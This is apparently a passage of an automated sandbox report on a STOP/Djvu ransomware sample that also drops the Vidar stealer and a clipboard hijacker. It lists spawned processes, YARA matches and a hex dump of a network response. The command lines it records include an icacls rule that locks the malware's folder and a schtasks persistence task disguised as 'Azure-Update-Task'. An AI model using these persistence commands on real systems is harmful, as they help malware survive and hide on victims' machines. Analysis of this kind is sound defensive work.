2024-04-24 08:27:46 UTC	459	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 34 33 32 62 32 36 32 66 33 33 30 33 37 31 32 61 33 33 36 64 32 65 32 36 37 63 33 30 33 36 32 31 32 39 32 36 32 30 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#432b262f3303712a336d2e267c303621292620
2024-04-24 08:27:46 UTC	471	IN	Data Raw: d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 64 33 62 62 62 36 62 66 61 33 39 33 65 31 62 61 61 33 66 64 61 36 62 32 65 63 61 30 61 36 62 31 62 39 62 36 62 30 61 37 65 65 65 31 62 61 61 33 66 64 61 36 62 32 22 3e 3c 73 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#d3bbb6bfa393e1baa3fda6b2eca0a6b1b9b6b0a7eee1baa3fda6b2"><s
2024-04-24 08:27:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	10:27:00
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\SUwX12D2S6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SUwX12D2S6.exe"
Imagebase:	0x400000
File size:	798'720 bytes
MD5 hash:	4B2FB93459B4E03686148D0A1D3C1F00
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1676862648.000000000459B000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:27:00
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\SUwX12D2S6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SUwX12D2S6.exe"
Imagebase:	0x400000
File size:	798'720 bytes
MD5 hash:	4B2FB93459B4E03686148D0A1D3C1F00
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:27:02
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0xaf0000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:27:02
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\SUwX12D2S6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SUwX12D2S6.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	798'720 bytes
MD5 hash:	4B2FB93459B4E03686148D0A1D3C1F00
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000003.00000002.1701561007.000000000442E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:27:03
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\SUwX12D2S6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SUwX12D2S6.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	798'720 bytes
MD5 hash:	4B2FB93459B4E03686148D0A1D3C1F00
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:27:04
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe --Task
Imagebase:	0x400000
File size:	798'720 bytes
MD5 hash:	4B2FB93459B4E03686148D0A1D3C1F00
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.1719190222.0000000004544000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000005.00000002.1719252737.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000005.00000002.1719252737.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs Detection: 40%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:27:04
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe --Task
Imagebase:	0x400000
File size:	798'720 bytes
MD5 hash:	4B2FB93459B4E03686148D0A1D3C1F00
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000002.4129272399.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000006.00000002.4129272399.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000006.00000002.4129272399.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	10:27:11
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe"
Imagebase:	0x400000
File size:	296'448 bytes
MD5 hash:	A04031208441077A014F42095FF86107
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000007.00000002.1787690913.0000000003560000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.1787558327.0000000001ACE000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:27:11
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe"
Imagebase:	0x3e0000
File size:	296'448 bytes
MD5 hash:	A04031208441077A014F42095FF86107
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000008.00000002.1966489860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:27:13
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe"
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000000A.00000002.1913660685.0000000000810000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000A.00000002.1913660685.0000000000810000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000A.00000002.1913660685.0000000000810000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000A.00000002.1914065003.000000000098D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:27:16
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe" --AutoStart
Imagebase:	0x400000
File size:	798'720 bytes
MD5 hash:	4B2FB93459B4E03686148D0A1D3C1F00
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000B.00000002.1848011665.0000000004483000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000B.00000002.1848123271.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000B.00000002.1848123271.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:27:17
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe" --AutoStart
Imagebase:	0x400000
File size:	798'720 bytes
MD5 hash:	4B2FB93459B4E03686148D0A1D3C1F00
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000C.00000002.1864325643.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000C.00000002.1864325643.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000C.00000002.1864325643.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:27:24
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe"
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000010.00000002.1916720423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000010.00000002.1916720423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000010.00000002.1916720423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	10:27:24
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Imagebase:	0xa00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	10:27:24
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	10:27:25
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000013.00000002.2019412066.00000000009BC000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000013.00000002.2019239112.0000000000850000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000013.00000002.2019239112.0000000000850000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000013.00000002.2019239112.0000000000850000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 87%, ReversingLabs Detection: 87%, Virustotal, Browse
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	10:27:35
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x7ff7699e0000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000014.00000002.4129162040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000014.00000002.4129162040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000014.00000002.4129162040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	10:27:35
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Imagebase:	0xa00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	10:27:35
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	10:27:43
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe" --AutoStart
Imagebase:	0x400000
File size:	798'720 bytes
MD5 hash:	4B2FB93459B4E03686148D0A1D3C1F00
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000017.00000002.2105054288.00000000044CA000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000017.00000002.2105470149.0000000005ED0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000017.00000002.2105470149.0000000005ED0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	10:27:43
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe" --AutoStart
Imagebase:	0x400000
File size:	798'720 bytes
MD5 hash:	4B2FB93459B4E03686148D0A1D3C1F00
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000018.00000002.2116911139.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000018.00000002.2116911139.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000018.00000002.2116911139.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	10:28:01
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000019.00000002.2350347697.0000000000970000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000019.00000002.2350347697.0000000000970000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000019.00000002.2350347697.0000000000970000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000019.00000002.2350442166.0000000000990000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	10:28:08
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001A.00000002.2348561919.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001A.00000002.2348561919.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001A.00000002.2348561919.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	10:29:00
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001C.00000002.2974032073.0000000000970000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001C.00000002.2974032073.0000000000970000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001C.00000002.2974032073.0000000000970000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001C.00000002.2974276962.00000000009A0000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	10:29:10
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001D.00000002.2973232719.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001D.00000002.2973232719.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001D.00000002.2973232719.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	10:30:00
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001E.00000002.3584250955.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001E.00000002.3584250955.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001E.00000002.3584250955.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001E.00000002.3584399204.00000000009E0000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	10:30:11
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001F.00000002.3583753662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001F.00000002.3583753662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001F.00000002.3583753662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	10:31:00
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	97.5%
Signature Coverage:	42.5%
